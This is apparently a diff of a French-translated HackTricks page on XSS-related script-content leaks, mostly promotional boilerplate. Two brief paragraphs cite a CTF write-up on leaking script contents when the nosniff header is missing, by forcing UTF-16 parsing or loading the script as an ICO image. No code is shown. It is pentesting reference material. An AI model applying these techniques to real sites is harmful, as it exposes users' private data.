<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

33
pentesting-web/xss-cross-site-scripting/sniff-leak.md Normal file
View file

@ -0,0 +1,33 @@
# Fuite de Sniff
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Contenu du script de fuite en convertissant en UTF16
[**Cette explication**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) fuite un texte brut car il n'y a pas d'en-tête `X-Content-Type-Options: nosniff` en ajoutant quelques caractères initiaux qui feront croire à JavaScript que le contenu est en UTF-16 afin que le script ne se casse pas.
## Contenu du script de fuite en le traitant comme une ICO
[**La prochaine explication**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) fuite le contenu du script en le chargeant comme s'il s'agissait d'une image ICO en accédant au paramètre `width`.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>